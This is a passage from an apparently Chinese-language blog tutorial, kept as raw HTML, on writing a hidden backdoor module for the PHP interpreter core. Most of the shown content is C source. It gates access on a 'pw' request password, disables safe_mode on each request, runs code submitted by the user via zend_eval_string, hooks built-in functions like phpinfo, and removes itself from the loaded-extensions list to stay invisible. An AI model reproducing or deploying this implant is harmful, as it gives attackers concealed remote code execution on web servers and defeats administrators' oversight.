src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">查找pw变量&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(SUCCESS&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;zend_symtable_find(HASH_OF(</span><span style="COLOR: #000000">*</span><span style="COLOR: #0000ff">array</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">pw</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">strlen</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">pw</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;(void&nbsp;</span><span style="COLOR: #000000">**</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">data))<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;FAILURE;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;比对pw变量值,是密码,则执行我们的代码.</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(</span><span style="COLOR: #008080">strcmp</span><span style="COLOR: #000000">(Z_STRVAL_PP(data)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">password</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;dosomething();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;SUCCESS;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span></div>
<p>使用那一种方式就看你的要求了.第一种可以直接获得用户提交的原始数据,如果你要在这里做处理或者filter,可以使用这种方法,一般没有特殊要求,使用第二种方法就可以了.</p>
<p>设置环境:<br>只要修改每次RINIT时候的ini设置,就可以了,我们使用ZEND API: zend_alter_ini_entry就可以实现这个功能:</p>
<p>&nbsp;</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">zend_alter_ini_entry(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">safe_mode</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sizeof</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">safe_mode</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sizeof</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;PHP_INI_SYSTEM</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;PHP_INI_STAGE_ACTIVATE);</span></div>
<p>执行用户提交的代码:<br>过滤web server传递过来的变量,并用以下函数执行即可:</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">int&nbsp;run_user_code(char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">str)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;int&nbsp;result;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;zval&nbsp;retval_ptr;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;result&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;zend_eval_string(str</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">retval_ptr</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;string_name&nbsp;TSRMLS_CC);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;convert_to_string(retval_ptr);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;php_printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;Z_STRVAL(zval));<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;result;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}</span></div>
<p>Hook函数:<br>Hook函数有不同方式,根据需要Hook函数类型的不同而不同,比如我想要替换phpinfo这个php语言内建函数,只需要这么做:</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #008000">//</span><span style="COLOR: #008000">注册新函数结构体</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">zend_function_entry&nbsp;hooked_functions[]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;PHP_NAMED_FE(</span><span style="COLOR: #008080">phpinfo</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;PHP_FN(hooked_phpinfo)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">注册为phpinfo的别名</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;{</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">}&nbsp;</span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;Must&nbsp;be&nbsp;the&nbsp;last&nbsp;line&nbsp;in&nbsp;wfw_functions[]&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>void&nbsp;hook_fuctions(void)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;TSRMLS_FETCH();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;替换函数&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;zend_hash_del(CG(function_table)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">phpinfo</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sizeof</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">phpinfo</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">));&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">从completer&nbsp;global里删除phpinfo函数<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;//注册新函数</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">ifndef&nbsp;ZEND_ENGINE_2</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;zend_register_functions(hooked_functions</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;MODULE_PERSISTENT&nbsp;TSRMLS_CC);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">else</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;zend_register_functions(</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;hooked_functions</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;MODULE_PERSISTENT&nbsp;TSRMLS_CC);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">endif</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">新函数</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">PHP_FUNCTION(hooked_phpinfo)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #000000"><img src="http://www.phpweblog.net/Images/dot.gif">..</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;{{{&nbsp;PHP_MINIT_FUNCTION<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>PHP_MINIT_FUNCTION(wfwcbd)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;hook_fuctions();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #000000"><img src="http://www.phpweblog.net/Images/dot.gif"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #000000"><img src="http://www.phpweblog.net/Images/dot.gif"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;SUCCESS;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span></div>
<p>但是如果想要替换的是php内核的底层api,恐怕就需要使用到其他ring3 hook技术了.inline hook等.但幸好backdoor加载进php内核后和其他api是在同一进程上下文中的,所以查找函数地址也就比较方便.相信也不难实现,但是本文写作过程中并没有测试,有意的朋友可以自己尝试下.</p>
<p>隐藏:<br>这里所谓的隐藏并不是隐藏我们的文件,而是让我们的Backdoor module在php中不可见.具体做法是让我们的module注册为zend extension,而在module_registry中删除自身.这样get_loaded_extensions也就找不到我们模块的信息了.zend_extension结构体定义如下:</p>
<p>&nbsp;</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">struct&nbsp;_zend_extension&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">name;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">version;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">author;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">URL;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">copyright;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;startup_func_t&nbsp;startup;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">相当于MINIT</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;shutdown_func_t&nbsp;shutdown;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">相当于MSHUTDOWN</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;activate_func_t&nbsp;activate;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">相当于RINIT</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;deactivate_func_t&nbsp;deactivate;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">相当于RSHUTDOWN</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;message_handler_func_t&nbsp;message_handler;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;op_array_handler_func_t&nbsp;op_array_handler;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;statement_handler_func_t&nbsp;statement_handler;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;fcall_begin_handler_func_t&nbsp;fcall_begin_handler;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;fcall_end_handler_func_t&nbsp;fcall_end_handler;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;op_array_ctor_func_t&nbsp;op_array_ctor;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;op_array_dtor_func_t&nbsp;op_array_dtor;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;int&nbsp;(</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">api_no_check)(int&nbsp;api_no);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;void&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">reserved2;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;void&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">reserved3;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;void&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">reserved4;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;void&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">reserved5;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;void&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">reserved6;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;void&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">reserved7;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;void&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">reserved8;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;DL_HANDLE&nbsp;handle;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;int&nbsp;resource_number;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span></div>
<p>实现代码如下:</p>
<p>&nbsp;</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #008000">#</span><span style="COLOR: #008000">include&nbsp;"zend_extensions.h"</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;zend_llist_position&nbsp;lp&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;void&nbsp;wfw_op_array_ctor(zend_op_array&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">op_array);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;void&nbsp;wfw_op_array_dtor(zend_op_array&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">op_array);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;int&nbsp;(</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">old_startup)(zend_extension&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">extension)&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;zend_extension&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">ze&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;int&nbsp;wfw_module_startup(zend_extension&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">extension);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;void&nbsp;wfw_module_active(void);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;void&nbsp;wfw_module_deactive(void);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;void&nbsp;wfw_shutdown(zend_extension&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">extension);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;int&nbsp;wfw_startup_wrapper(zend_extension&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">ext);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;zend_extension&nbsp;wfw_zend_extension_entry&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">wfwcbd</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">0.1</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">wfw&nbsp;PHP&nbsp;Core&nbsp;BackDoor</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">http://www.phpweblog.net/GaRY</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">(C)&nbsp;Copyright&nbsp;2007</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;wfw_module_startup</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;wfw_shutdown</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;wfw_module_active</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;wfw_module_deactive</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;wfw_op_array_ctor</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;wfw_op_array_dtor</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;STANDARD_ZEND_EXTENSION_PROPERTIES<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">/*</span><span style="COLOR: 